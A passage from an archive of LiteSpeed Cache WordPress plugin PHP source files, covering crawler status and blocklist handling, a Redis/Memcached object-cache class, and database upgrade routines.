wp_parse_url( $url ); if ( ! empty( $parsed_url['host'] ) ) { $dom = $parsed_url['host']; $port = defined( 'LITESPEED_CRAWLER_LOCAL_PORT' ) ? (int) LITESPEED_CRAWLER_LOCAL_PORT : 443; $resolved = $dom . ':' . $port . ':' . $this->_server_ip; $options[ CURLOPT_RESOLVE ] = [ $resolved ]; $options[ CURLOPT_DNS_USE_GLOBAL_CACHE ] = false; $options[ CURLOPT_PORT ] = $port; self::debug( 'Resolved DNS for ' . $resolved ); } } $options[ CURLOPT_HEADER ] = false; $options[ CURLOPT_FOLLOWLOCATION ] = true; // phpcs:disable WordPress.WP.AlternativeFunctions $ch = curl_init(); curl_setopt_array( $ch, $options ); curl_setopt( $ch, CURLOPT_URL, $url ); $result = curl_exec( $ch ); $code = (int) curl_getinfo( $ch, CURLINFO_HTTP_CODE ); unset( $ch ); // phpcs:enable if ( 200 !== $code ) { self::debug( '❌ Response code is not 200 in self_curl() [code] ' . $code ); return false; } return $result; } /** * Terminate crawling. * * @since 1.1.0 * @access private * @return void */ private function _terminate_running() { $this->_map_status_list = $this->cls( 'Crawler_Map' )->save_map_status( $this->_map_status_list, $this->_summary['curr_crawler'] ); if ( 'end' === $this->_end_reason ) { $this->_summary['curr_crawler'] = (int) $this->_summary['curr_crawler'] + 1; // Jump to next crawler. $this->_summary['last_pos'] = 0; // reset last position. $this->_summary['last_crawler_total_cost'] = time() - (int) $this->_summary['curr_crawler_beginning_time']; $count_crawlers = count( $this->list_crawlers() ); if ( $this->_summary['curr_crawler'] >= $count_crawlers ) { self::debug( '_terminate_running Touched end, whole crawled. Reload crawler!' ); $this->_summary['curr_crawler'] = 0; $this->_summary['done'] = 'touchedEnd'; // log done status. $this->_summary['last_full_time_cost'] = time() - (int) $this->_summary['this_full_beginning_time']; } } $this->_summary['last_status'] = 'stopped'; $this->_summary['is_running'] = 0; $this->_summary['end_reason'] = $this->_end_reason; self::save_summary(); } /** * List all crawlers ( tagA => [ valueA => titleA, ... ] ... ). * * @since 1.9.1 * @access public * @return array> */ public function list_crawlers() { if ( $this->_crawlers ) { return $this->_crawlers; } $crawler_factors = []; // Add default Guest crawler. $crawler_factors['uid'] = [ 0 => __( 'Guest', 'litespeed-cache' ) ]; // WebP on/off. if ( $this->conf( Base::O_IMG_OPTM_WEBP ) ) { $crawler_factors['webp'] = [ 1 => $this->cls( 'Media' )->next_gen_image_title() ]; if ( apply_filters( 'litespeed_crawler_webp', false ) ) { $crawler_factors['webp'][0] = ''; } } // Guest Mode on/off. if ( $this->conf( Base::O_GUEST ) ) { $vary_name = $this->cls( 'Vary' )->get_vary_name(); $vary_val = 'guest_mode:1'; if ( ! defined( 'LSCWP_LOG' ) ) { $vary_val = md5( $this->conf( Base::HASH ) . $vary_val ); } $crawler_factors[ 'cookie:' . $vary_name ] = [ $vary_val => '', '_null' => '👒', ]; } // Mobile crawler. if ( $this->conf( Base::O_CACHE_MOBILE ) ) { $crawler_factors['mobile'] = [ 1 => '📱', 0 => '', ]; } // Get roles set. foreach ( $this->conf( Base::O_CRAWLER_ROLES ) as $v ) { $role_title = ''; $udata = get_userdata( $v ); if ( isset( $udata->roles ) && is_array( $udata->roles ) ) { $tmp = array_values( $udata->roles ); $role_title = array_shift( $tmp ); } if ( ! $role_title ) { continue; } $crawler_factors['uid'][ $v ] = ucfirst( $role_title ); } // Cookie crawler. foreach ( $this->conf( Base::O_CRAWLER_COOKIES ) as $v ) { if ( empty( $v['name'] ) ) { continue; } $this_cookie_key = 'cookie:' . $v['name']; $crawler_factors[ $this_cookie_key ] = []; foreach ( $v['vals'] as $v2 ) { $crawler_factors[ $this_cookie_key ][ $v2 ] = ( '_null' === $v2 ? '' : '🍪' . esc_html( $v['name'] ) . '=' . esc_html( $v2 ) ); } } // Crossing generate the crawler list. $this->_crawlers = $this->_recursive_build_crawler( $crawler_factors ); return $this->_crawlers; } /** * Build a crawler list recursively. * * @since 2.8 * @access private * * @param array $crawler_factors Factors. * @param array $group Current group. * @param int $i Factor index. * @return array */ private function _recursive_build_crawler( $crawler_factors, $group = [], $i = 0 ) { $current_factor_keys = array_keys( $crawler_factors ); $current_factor = $current_factor_keys[ $i ]; $if_touch_end = ( $i + 1 ) >= count( $crawler_factors ); $final_list = []; foreach ( $crawler_factors[ $current_factor ] as $k => $v ) { $item = $group; // Don't alter $group bcos of loop usage. $item['title'] = ! empty( $group['title'] ) ? $group['title'] : ''; if ( $v ) { if ( $item['title'] ) { $item['title'] .= ' - '; } $item['title'] .= $v; } $item[ $current_factor ] = $k; if ( $if_touch_end ) { $final_list[] = $item; } else { // Inception: next layer. $final_list = array_merge( $final_list, $this->_recursive_build_crawler( $crawler_factors, $item, $i + 1 ) ); } } return $final_list; } /** * Return crawler meta file local path. * * @since 6.1 * @access public * @return string */ public function json_local_path() { return LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta; } /** * Return crawler meta file URL. * * @since 1.1.0 * @access public * @return string|false */ public function json_path() { if ( ! file_exists( LITESPEED_STATIC_DIR . '/crawler/' . $this->_sitemeta ) ) { return false; } return LITESPEED_STATIC_URL . '/crawler/' . $this->_sitemeta; } /** * Create reset pos file. * * @since 1.1.0 * @access public * @return void */ public function reset_pos() { File::save( $this->_resetfile, time(), true ); self::save_summary( [ 'is_running' => 0 ] ); } /** * Display status based by matching crawlers order. * * @since 3.0 * @access public * * @param string $status_row Status string. * @param string $reason_set Comma separated reasons. * @return string HTML dots. */ public function display_status( $status_row, $reason_set ) { if ( ! $status_row ) { return ''; } $_status_list = [ '-' => 'default', self::STATUS_MISS => 'primary', self::STATUS_HIT => 'success', self::STATUS_BLACKLIST => 'danger', self::STATUS_NOCACHE => 'warning', ]; $reason_set = explode( ',', $reason_set ); $status = ''; foreach ( str_split( $status_row ) as $k => $v ) { $reason = isset( $reason_set[ $k ] ) ? $reason_set[ $k ] : ''; if ( 'Man' === $reason ) { $reason = __( 'Manually added to blocklist', 'litespeed-cache' ); } if ( 'Existed' === $reason ) { $reason = __( 'Previously existed in blocklist', 'litespeed-cache' ); } $reason_attr = $reason ? 'data-balloon-pos="up" aria-label="' . esc_attr( $reason ) . '"' : ''; $status .= '' . ( $k + 1 ) . ''; } return $status; } /** * Handle all request actions from main cls. * * @since 3.0 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_REFRESH_MAP: $this->cls( 'Crawler_Map' )->gen( true ); break; case self::TYPE_EMPTY: $this->cls( 'Crawler_Map' )->empty_map(); break; case self::TYPE_BLACKLIST_EMPTY: $this->cls( 'Crawler_Map' )->blacklist_empty(); break; case self::TYPE_BLACKLIST_DEL: // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if (!empty($_GET['id'])) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = absint( wp_unslash( $_GET['id'] ) ); $this->cls( 'Crawler_Map' )->blacklist_del( $id ); } break; case self::TYPE_BLACKLIST_ADD: // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized if (!empty($_GET['id'])) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $id = absint( wp_unslash( $_GET['id'] ) ); $this->cls( 'Crawler_Map' )->blacklist_add( $id ); } break; case self::TYPE_START: // Handle the ajax request to proceed crawler manually by admin. self::start_async(); break; case self::TYPE_RESET: $this->reset_pos(); break; default: break; } Admin::redirect(); } } object-cache.cls.php000064400000051712152077520300010353 0ustar00 Redis, false => Memcached. * * @var bool */ private $_cfg_method; /** * Host name. * * @var string */ private $_cfg_host; /** * Port number. * * @var int|string */ private $_cfg_port; /** * TTL in seconds. * * @var int */ private $_cfg_life; /** * Use persistent connection. * * @var bool */ private $_cfg_persistent; /** * Cache admin pages. * * @var bool */ private $_cfg_admin; /** * Redis DB index. * * @var int */ private $_cfg_db; /** * Auth username. * * @var string */ private $_cfg_user; /** * Auth password. * * @var string */ private $_cfg_pswd; /** * Default TTL in seconds. * * @var int */ private $_default_life = 360; /** * 'Redis' or 'Memcached'. * * @var string */ private $_oc_driver = 'Memcached'; // Redis or Memcached. /** * Global groups. * * @var array */ private $_global_groups = []; /** * Non-persistent groups. * * @var array */ private $_non_persistent_groups = []; /** * Init. * * NOTE: this class may be included without initialized core. * * @since 1.8 * * @param array|false $cfg Optional configuration to bootstrap without core. */ public function __construct( $cfg = false ) { if ( $cfg ) { if ( ! is_array( $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] ) ) { $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] = explode( "\n", $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ] ); } if ( ! is_array( $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] ) ) { $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] = explode( "\n", $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ] ); } $this->_cfg_debug = $cfg[ Base::O_DEBUG ] ? $cfg[ Base::O_DEBUG ] : false; $this->_cfg_method = $cfg[ Base::O_OBJECT_KIND ] ? true : false; $this->_cfg_host = $cfg[ Base::O_OBJECT_HOST ]; $this->_cfg_port = $cfg[ Base::O_OBJECT_PORT ]; $this->_cfg_life = $cfg[ Base::O_OBJECT_LIFE ]; $this->_cfg_persistent = $cfg[ Base::O_OBJECT_PERSISTENT ]; $this->_cfg_admin = $cfg[ Base::O_OBJECT_ADMIN ]; $this->_cfg_db = $cfg[ Base::O_OBJECT_DB_ID ]; $this->_cfg_user = $cfg[ Base::O_OBJECT_USER ]; $this->_cfg_pswd = $cfg[ Base::O_OBJECT_PSWD ]; $this->_global_groups = $cfg[ Base::O_OBJECT_GLOBAL_GROUPS ]; $this->_non_persistent_groups = $cfg[ Base::O_OBJECT_NON_PERSISTENT_GROUPS ]; if ( $this->_cfg_method ) { $this->_oc_driver = 'Redis'; } $this->_cfg_enabled = $cfg[ Base::O_OBJECT ] && class_exists( $this->_oc_driver ) && $this->_cfg_host; } elseif ( defined( 'LITESPEED_CONF_LOADED' ) ) { // If OC is OFF, will hit here to init OC after conf initialized $this->_cfg_debug = $this->conf( Base::O_DEBUG ) ? $this->conf( Base::O_DEBUG ) : false; $this->_cfg_method = $this->conf( Base::O_OBJECT_KIND ) ? true : false; $this->_cfg_host = $this->conf( Base::O_OBJECT_HOST ); $this->_cfg_port = $this->conf( Base::O_OBJECT_PORT ); $this->_cfg_life = $this->conf( Base::O_OBJECT_LIFE ); $this->_cfg_persistent = $this->conf( Base::O_OBJECT_PERSISTENT ); $this->_cfg_admin = $this->conf( Base::O_OBJECT_ADMIN ); $this->_cfg_db = $this->conf( Base::O_OBJECT_DB_ID ); $this->_cfg_user = $this->conf( Base::O_OBJECT_USER ); $this->_cfg_pswd = $this->conf( Base::O_OBJECT_PSWD ); $this->_global_groups = $this->conf( Base::O_OBJECT_GLOBAL_GROUPS ); $this->_non_persistent_groups = $this->conf( Base::O_OBJECT_NON_PERSISTENT_GROUPS ); if ( $this->_cfg_method ) { $this->_oc_driver = 'Redis'; } $this->_cfg_enabled = $this->conf( Base::O_OBJECT ) && class_exists( $this->_oc_driver ) && $this->_cfg_host; } elseif ( defined( 'self::CONF_FILE' ) && file_exists( WP_CONTENT_DIR . '/' . self::CONF_FILE ) ) { // Get cfg from _data_file. // Use self::const to avoid loading more classes. $cfg = \json_decode( file_get_contents( WP_CONTENT_DIR . '/' . self::CONF_FILE ), true ); if ( ! empty( $cfg[ self::O_OBJECT_HOST ] ) ) { $this->_cfg_debug = ! empty( $cfg[ Base::O_DEBUG ] ) ? $cfg[ Base::O_DEBUG ] : false; $this->_cfg_method = ! empty( $cfg[ self::O_OBJECT_KIND ] ) ? $cfg[ self::O_OBJECT_KIND ] : false; $this->_cfg_host = $cfg[ self::O_OBJECT_HOST ]; $this->_cfg_port = $cfg[ self::O_OBJECT_PORT ]; $this->_cfg_life = ! empty( $cfg[ self::O_OBJECT_LIFE ] ) ? $cfg[ self::O_OBJECT_LIFE ] : $this->_default_life; $this->_cfg_persistent = ! empty( $cfg[ self::O_OBJECT_PERSISTENT ] ) ? $cfg[ self::O_OBJECT_PERSISTENT ] : false; $this->_cfg_admin = ! empty( $cfg[ self::O_OBJECT_ADMIN ] ) ? $cfg[ self::O_OBJECT_ADMIN ] : false; $this->_cfg_db = ! empty( $cfg[ self::O_OBJECT_DB_ID ] ) ? $cfg[ self::O_OBJECT_DB_ID ] : 0; $this->_cfg_user = ! empty( $cfg[ self::O_OBJECT_USER ] ) ? $cfg[ self::O_OBJECT_USER ] : ''; $this->_cfg_pswd = ! empty( $cfg[ self::O_OBJECT_PSWD ] ) ? $cfg[ self::O_OBJECT_PSWD ] : ''; $this->_global_groups = ! empty( $cfg[ self::O_OBJECT_GLOBAL_GROUPS ] ) ? $cfg[ self::O_OBJECT_GLOBAL_GROUPS ] : []; $this->_non_persistent_groups = ! empty( $cfg[ self::O_OBJECT_NON_PERSISTENT_GROUPS ] ) ? $cfg[ self::O_OBJECT_NON_PERSISTENT_GROUPS ] : []; if ( $this->_cfg_method ) { $this->_oc_driver = 'Redis'; } $this->_cfg_enabled = class_exists( $this->_oc_driver ) && $this->_cfg_host; } else { $this->_cfg_enabled = false; } } else { $this->_cfg_enabled = false; } // If OC not available, mark failure so OC methods return false early. // NOTE: Do NOT call wp_using_ext_object_cache(false) here — it causes // "Cannot redeclare wp_cache_init()" fatal on multisite (second call // to wp_start_object_cache() would load cache.php again). if ( ! $this->_cfg_enabled ) { ! defined( 'LITESPEED_OC_FAILURE' ) && define( 'LITESPEED_OC_FAILURE', true ); } } /** * Add debug. * * @since 6.3 * @access private * * @param string $text Log text. * @return void */ private function debug_oc( $text ) { if ( defined( 'LSCWP_LOG' ) ) { self::debug( $text ); return; } if ( Base::VAL_ON2 !== $this->_cfg_debug ) { return; } $litespeed_data_folder = defined( 'LITESPEED_DATA_FOLDER' ) ? LITESPEED_DATA_FOLDER : 'litespeed'; $lscwp_content_dir = defined( 'LSCWP_CONTENT_DIR' ) ? LSCWP_CONTENT_DIR : WP_CONTENT_DIR; $litespeed_static_dir = $lscwp_content_dir . '/' . $litespeed_data_folder; $log_path_prefix = $litespeed_static_dir . '/debug/'; $log_file = $log_path_prefix . Debug2::FilePath( 'debug' ); if ( file_exists( $log_path_prefix . 'index.php' ) && file_exists( $log_file ) ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log error_log(gmdate('m/d/y H:i:s') . ' - OC - ' . $text . PHP_EOL, 3, $log_file); } } /** * Check if the group belongs to transients or not. * * @since 1.8.3 * @access private * * @param string $group Group name. * @return bool */ private function _is_transients_group( $group ) { return in_array( $group, [ 'transient', 'site-transient' ], true ); } /** * Update WP object cache file config. * * @since 1.8 * @access public * * @param array $options Options to apply after update. * @return void */ public function update_file( $options ) { $changed = false; // NOTE: When included in oc.php, `LSCWP_DIR` will show undefined, so this must be assigned/generated when used. $_oc_ori_file = LSCWP_DIR . 'lib/object-cache.php'; $_oc_wp_file = WP_CONTENT_DIR . '/object-cache.php'; // Update cls file. if ( ! file_exists( $_oc_wp_file ) || md5_file( $_oc_wp_file ) !== md5_file( $_oc_ori_file ) ) { $this->debug_oc( 'copying object-cache.php file to ' . $_oc_wp_file ); copy( $_oc_ori_file, $_oc_wp_file ); $changed = true; } /** * Clear object cache. */ if ( $changed ) { $this->_reconnect( $options ); } } /** * Remove object cache file. * * @since 1.8.2 * @access public * * @return void */ public function del_file() { // NOTE: When included in oc.php, `LSCWP_DIR` will show undefined, so this must be assigned/generated when used. $_oc_ori_file = LSCWP_DIR . 'lib/object-cache.php'; $_oc_wp_file = WP_CONTENT_DIR . '/object-cache.php'; if ( file_exists( $_oc_wp_file ) && md5_file( $_oc_wp_file ) === md5_file( $_oc_ori_file ) ) { $this->debug_oc( 'removing ' . $_oc_wp_file ); wp_delete_file( $_oc_wp_file ); } } /** * Try to build connection. * * @since 1.8 * @access public * * @return bool|null False on failure, true on success, null if unsupported. */ public function test_connection() { return $this->_connect(); } /** * Force to connect with this setting. * * @since 1.8 * @access private * * @param array $cfg Reconnect configuration. * @return void */ private function _reconnect( $cfg ) { $this->debug_oc( 'Reconnecting' ); if ( isset( $this->_conn ) ) { // error_log( 'Object: Quitting existing connection!' ); $this->debug_oc( 'Quitting existing connection' ); $this->flush(); $this->_conn = null; $this->cls( false, true ); } $cls = $this->cls( false, false, $cfg ); $cls->_connect(); if ( isset( $cls->_conn ) ) { $cls->flush(); } } /** * Connect to Memcached/Redis server. * * @since 1.8 * @access private * * @return bool|null False on failure, true on success, null if driver missing. */ private function _connect() { if ( isset( $this->_conn ) ) { // error_log( 'Object: _connected' ); return true; } if ( ! class_exists( $this->_oc_driver ) || ! $this->_cfg_host ) { $this->debug_oc( '_oc_driver cls non existed or _cfg_host missed: ' . $this->_oc_driver . ' [_cfg_host] ' . $this->_cfg_host . ':' . $this->_cfg_port ); return false; } if ( defined( 'LITESPEED_OC_FAILURE' ) ) { $this->debug_oc( 'LITESPEED_OC_FAILURE const defined' ); return false; } $this->debug_oc( 'Init ' . $this->_oc_driver . ' connection to ' . $this->_cfg_host . ':' . $this->_cfg_port ); $failed = false; /** * Connect to Redis. * * @since 1.8.1 * @see https://github.com/phpredis/phpredis/#example-1 */ if ( 'Redis' === $this->_oc_driver ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler set_error_handler( 'litespeed_exception_handler' ); try { $this->_conn = new \Redis(); // error_log( 'Object: _connect Redis' ); if ( $this->_cfg_persistent ) { if ( $this->_cfg_port ) { $this->_conn->pconnect( $this->_cfg_host, $this->_cfg_port ); } else { $this->_conn->pconnect( $this->_cfg_host ); } } elseif ( $this->_cfg_port ) { $this->_conn->connect( $this->_cfg_host, $this->_cfg_port ); } else { $this->_conn->connect( $this->_cfg_host ); } if ( $this->_cfg_pswd ) { if ( $this->_cfg_user ) { $this->_conn->auth( [ $this->_cfg_user, $this->_cfg_pswd ] ); } else { $this->_conn->auth( $this->_cfg_pswd ); } } if (defined('Redis::OPT_REPLY_LITERAL')) { $this->debug_oc( 'Redis set OPT_REPLY_LITERAL' ); $this->_conn->setOption(\Redis::OPT_REPLY_LITERAL, true); } if ( $this->_cfg_db ) { if ( ! $this->_conn->select( $this->_cfg_db ) ) { $this->debug_oc( 'Database ID is invalid' ); $failed = true; } } $res = $this->_conn->rawCommand('PING'); if ( 'PONG' !== $res ) { $this->debug_oc( 'Redis resp is wrong: ' . $res ); $failed = true; } } catch ( \Exception $e ) { $this->debug_oc( 'Redis connect exception: ' . $e->getMessage() ); $failed = true; } catch ( \ErrorException $e ) { $this->debug_oc( 'Redis connect error: ' . $e->getMessage() ); $failed = true; } restore_error_handler(); } else { // Connect to Memcached. if ( $this->_cfg_persistent ) { $this->_conn = new \Memcached( $this->_get_mem_id() ); // Check memcached persistent connection. if ( $this->_validate_mem_server() ) { // error_log( 'Object: _validate_mem_server' ); $this->debug_oc( 'Got persistent ' . $this->_oc_driver . ' connection' ); return true; } $this->debug_oc( 'No persistent ' . $this->_oc_driver . ' server list!' ); } else { // error_log( 'Object: new memcached!' ); $this->_conn = new \Memcached(); } $this->_conn->addServer( $this->_cfg_host, (int) $this->_cfg_port ); /** * Add SASL auth. * * @since 1.8.1 * @since 2.9.6 Fixed SASL connection @see https://www.litespeedtech.com/support/wiki/doku.php/litespeed_wiki:lsmcd:new_sasl */ if ( $this->_cfg_user && $this->_cfg_pswd && method_exists( $this->_conn, 'setSaslAuthData' ) ) { $this->_conn->setOption( \Memcached::OPT_BINARY_PROTOCOL, true ); $this->_conn->setOption( \Memcached::OPT_COMPRESSION, false ); $this->_conn->setSaslAuthData( $this->_cfg_user, $this->_cfg_pswd ); } // Check connection. if ( ! $this->_validate_mem_server() ) { $failed = true; } } // If failed to connect. if ( $failed ) { $this->debug_oc( '❌ Failed to connect ' . $this->_oc_driver . ' server!' ); $this->_conn = null; $this->_cfg_enabled = false; ! defined( 'LITESPEED_OC_FAILURE' ) && define( 'LITESPEED_OC_FAILURE', true ); // Disable ext OC flag so WP transients fall back to wp_options table. // After muplugins_loaded, all wp_start_object_cache() calls are done — safe to call directly. // Before that (early bootstrap), defer via hook to avoid multisite "Cannot redeclare" fatal. if ( function_exists( 'did_action' ) && did_action( 'muplugins_loaded' ) ) { litespeed_oc_disable_ext_cache(); } elseif ( function_exists( 'add_action' ) ) { add_action( 'muplugins_loaded', 'litespeed_oc_disable_ext_cache', -999 ); } return false; } $this->debug_oc( '✅ Connected to ' . $this->_oc_driver . ' server.' ); return true; } /** * Check if the connected memcached host is the one in cfg. * * @since 1.8 * @access private * * @return bool */ private function _validate_mem_server() { $mem_list = $this->_conn->getStats(); if ( empty( $mem_list ) ) { return false; } foreach ( $mem_list as $k => $v ) { if ( substr( $k, 0, strlen( $this->_cfg_host ) ) !== $this->_cfg_host ) { continue; } if ( ! empty( $v['pid'] ) || ! empty( $v['curr_connections'] ) ) { return true; } } return false; } /** * Get memcached unique id to be used for connecting. * * @since 1.8 * @access private * * @return string */ private function _get_mem_id() { $mem_id = 'litespeed'; if ( is_multisite() ) { $mem_id .= '_' . get_current_blog_id(); } return $mem_id; } /** * Get cache. * * @since 1.8 * @access public * * @param string $key Cache key. * @param string $group Optional. Cache group name. * @return mixed|false */ public function get( $key, $group = '' ) { if ( ! $this->_cfg_enabled ) { return false; } if ( ! $this->_can_cache( $group ) ) { return false; } if ( ! $this->_connect() ) { return false; } $res = $this->_conn->get( $key ); return $res; } /** * Set cache. * * @since 1.8 * @access public * * @param string $key Cache key. * @param mixed $data Data to store. * @param int $expire TTL seconds. * @return bool */ public function set( $key, $data, $expire ) { if ( ! $this->_cfg_enabled ) { return false; } /** * To fix the Cloud callback cached as its frontend call but the hash is generated in backend * Bug found by Stan at Jan/10/2020 */ // if ( ! $this->_can_cache() ) { // return false; // } if ( ! $this->_connect() ) { return false; } // Per WP Object Cache API, expire=0 means "no expiration". // Key eviction is handled by the cache backend (Redis maxmemory / Memcached LRU). $ttl = (int) $expire; if ( 'Redis' === $this->_oc_driver ) { try { $options = ( $ttl > 0 ) ? [ 'ex' => $ttl ] : []; $res = $this->_conn->set( $key, $data, $options ); } catch ( \RedisException $ex ) { $res = false; $msg = sprintf( __( 'Redis encountered a fatal error: %1$s (code: %2$d)', 'litespeed-cache' ), $ex->getMessage(), $ex->getCode() ); $this->debug_oc( $msg ); Admin_Display::error( $msg ); } } else { $res = $this->_conn->set( $key, $data, $ttl ); } return $res; } /** * Check if can cache or not. * * @since 1.8 * @access private * * @param string $group Optional. Cache group name. * @return bool */ private function _can_cache( $group = '' ) { // Transients always use OC regardless of Cache WP-Admin setting if ( $this->_is_transients_group( $group ) ) { return true; } if ( ! $this->_cfg_admin && defined( 'WP_ADMIN' ) ) { return false; } return true; } /** * Delete cache. * * @since 1.8 * @access public * * @param string $key Cache key. * @return bool */ public function delete( $key ) { if ( ! $this->_cfg_enabled ) { return false; } if ( ! $this->_connect() ) { return false; } if ( 'Redis' === $this->_oc_driver ) { $res = $this->_conn->del( $key ); } else { $res = $this->_conn->delete( $key ); } return (bool) $res; } /** * Clear all cache. * * @since 1.8 * @access public * * @return bool */ public function flush() { if ( ! $this->_cfg_enabled ) { $this->debug_oc( 'bypass flushing' ); return false; } if ( ! $this->_connect() ) { return false; } $this->debug_oc( 'flush!' ); if ( 'Redis' === $this->_oc_driver ) { $res = $this->_conn->flushDb(); } else { $res = $this->_conn->flush(); $this->_conn->resetServerList(); } return $res; } /** * Add global groups. * * @since 1.8 * @access public * * @param string|string[] $groups Group(s) to add. * @return void */ public function add_global_groups( $groups ) { if ( ! is_array( $groups ) ) { $groups = [ $groups ]; } $this->_global_groups = array_merge( $this->_global_groups, $groups ); $this->_global_groups = array_unique( $this->_global_groups ); } /** * Check if is in global groups or not. * * @since 1.8 * @access public * * @param string $group Group name. * @return bool */ public function is_global( $group ) { return in_array( $group, $this->_global_groups, true ); } /** * Add non persistent groups. * * @since 1.8 * @access public * * @param string|string[] $groups Group(s) to add. * @return void */ public function add_non_persistent_groups( $groups ) { if ( ! is_array( $groups ) ) { $groups = [ $groups ]; } $this->_non_persistent_groups = array_merge( $this->_non_persistent_groups, $groups ); $this->_non_persistent_groups = array_unique( $this->_non_persistent_groups ); } /** * Check if is in non persistent groups or not. * * @since 1.8 * @access public * * @param string $group Group name. * @return bool */ public function is_non_persistent( $group ) { return in_array( $group, $this->_non_persistent_groups, true ); } } data.cls.php000064400000054322152077520300006755 0ustar00> */ private $_db_updater = [ '5.3-a5' => [ 'litespeed_update_5_3' ], '7.0-b26' => [ 'litespeed_update_7' ], '7.0.1-b1' => [ 'litespeed_update_7_0_1' ], '7.7-b28' => [ 'litespeed_update_7_7' ], ]; /** * Versioned DB updaters for per-site options in multisite. * * @var array> */ private $_db_site_updater = [ // '2.0' => [ 'litespeed_update_site_2_0' ], ]; /** * Map from URL-file type to integer code. * * @var array */ private $_url_file_types = [ 'css' => 1, 'js' => 2, 'ccss' => 3, 'ucss' => 4, ]; /** Table: image optimization results. */ const TB_IMG_OPTM = 'litespeed_img_optm'; /** Table: image optimization working queue. */ const TB_IMG_OPTMING = 'litespeed_img_optming'; /** Table: cached avatars. */ const TB_AVATAR = 'litespeed_avatar'; /** Table: crawler URLs. */ const TB_CRAWLER = 'litespeed_crawler'; /** Table: crawler blacklist. */ const TB_CRAWLER_BLACKLIST = 'litespeed_crawler_blacklist'; /** Table: logical URLs. */ const TB_URL = 'litespeed_url'; /** Table: URL → generated file mapping. */ const TB_URL_FILE = 'litespeed_url_file'; /** * Constructor. * * @since 1.3.1 */ public function __construct() {} /** * Ensure required tables exist based on current configuration. * * Called on activation and when options are (re)loaded. * * @since 3.0 * @access public * @return void */ public function correct_tb_existence() { // Gravatar. if ( $this->conf( Base::O_DISCUSS_AVATAR_CACHE ) ) { $this->tb_create( 'avatar' ); } // Crawler. if ( $this->conf( Base::O_CRAWLER ) ) { $this->tb_create( 'crawler' ); $this->tb_create( 'crawler_blacklist' ); } // URL mapping. $this->tb_create( 'url' ); $this->tb_create( 'url_file' ); // Image optm tables are managed on-demand. } /** * Upgrade global configuration/data to match plugin version. * * @since 3.0 * @access public * * @param string $ver Currently stored version string. * @return string|void 'upgrade' on success, or void if no-op. */ public function conf_upgrade( $ver ) { // Skip count check if `Use Primary Site Configurations` is on (deprecated note kept intentionally). if ( $this->_get_upgrade_lock() ) { return; } $this->_set_upgrade_lock( true ); require_once LSCWP_DIR . 'src/data.upgrade.func.php'; // Init log manually. if ( $this->conf( Base::O_DEBUG ) ) { $this->cls( 'Debug2' )->init(); } foreach ( $this->_db_updater as $k => $v ) { if ( version_compare( $ver, $k, '<' ) ) { foreach ( $v as $v2 ) { self::debug( "Updating [ori_v] $ver \t[to] $k \t[func] $v2" ); call_user_func( $v2 ); } } } // Reload options. $this->cls( 'Conf' )->load_options(); $this->correct_tb_existence(); // Update related files. $this->cls( 'Activation' )->update_files(); // Update version to latest. Conf::delete_option( Base::_VER ); Conf::add_option( Base::_VER, Core::VER ); self::debug( 'Updated version to ' . Core::VER ); $this->_set_upgrade_lock( false ); if ( ! defined( 'LSWCP_EMPTYCACHE' ) ) { define( 'LSWCP_EMPTYCACHE', true ); } Purge::purge_all(); return 'upgrade'; } /** * Upgrade per-site configuration/data to match plugin version (multisite). * * @since 3.0 * @access public * * @param string $ver Currently stored version string. * @return void */ public function conf_site_upgrade( $ver ) { if ( $this->_get_upgrade_lock() ) { return; } $this->_set_upgrade_lock( true ); require_once LSCWP_DIR . 'src/data.upgrade.func.php'; foreach ( $this->_db_site_updater as $k => $v ) { if ( version_compare( $ver, $k, '<' ) ) { foreach ( $v as $v2 ) { self::debug( "Updating site [ori_v] $ver \t[to] $k \t[func] $v2" ); call_user_func( $v2 ); } } } // Reload options. $this->cls( 'Conf' )->load_site_options(); Conf::delete_site_option( Base::_VER ); Conf::add_site_option( Base::_VER, Core::VER ); self::debug( 'Updated site_version to ' . Core::VER ); $this->_set_upgrade_lock( false ); if ( ! defined( 'LSWCP_EMPTYCACHE' ) ) { define( 'LSWCP_EMPTYCACHE', true ); } Purge::purge_all(); } /** * Whether an upgrade lock is in effect. * * @since 3.0.1 * @return int|false Timestamp if locked and recent, false otherwise. */ private function _get_upgrade_lock() { $is_upgrading = (int) get_option( 'litespeed.data.upgrading' ); if ( ! $is_upgrading ) { $this->_set_upgrade_lock( false ); // Seed option to avoid repeated DB reads later. } if ( $is_upgrading && ( time() - $is_upgrading ) < 3600 ) { return $is_upgrading; } return false; } /** * Show the upgrading banner if upgrade script is running. * * @since 3.0.1 * @return void */ public function check_upgrading_msg() { $is_upgrading = $this->_get_upgrade_lock(); if ( ! $is_upgrading ) { return; } Admin_Display::info( sprintf( /* translators: %s: time string */ __( 'The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.', 'litespeed-cache' ), '' . Utility::readable_time( $is_upgrading ) . '' ) . ' [LiteSpeed]', true ); } /** * Set/clear the upgrade process lock. * * @since 3.0.1 * * @param bool $lock True to set, false to clear. * @return void */ private function _set_upgrade_lock( $lock ) { if ( ! $lock ) { update_option( 'litespeed.data.upgrading', -1 ); } else { update_option( 'litespeed.data.upgrading', time() ); } } /** * Get a fully-qualified table name by slug. * * @since 3.0 * @access public * * @param string $tb Table slug (e.g., 'url_file'). * @return string|null */ public function tb( $tb ) { global $wpdb; switch ( $tb ) { case 'img_optm': return $wpdb->prefix . self::TB_IMG_OPTM; case 'img_optming': return $wpdb->prefix . self::TB_IMG_OPTMING; case 'avatar': return $wpdb->prefix . 